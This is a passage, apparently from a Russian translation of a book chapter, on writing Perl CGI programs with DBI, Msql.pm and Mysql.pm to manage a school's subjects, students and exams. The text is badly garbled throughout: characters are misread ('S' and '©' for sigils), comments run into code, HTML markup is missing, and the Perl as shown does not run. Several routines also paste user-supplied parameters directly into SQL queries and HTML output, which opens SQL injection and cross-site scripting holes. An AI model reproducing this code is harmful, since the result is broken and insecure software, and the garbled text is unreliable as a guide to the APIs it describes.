    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

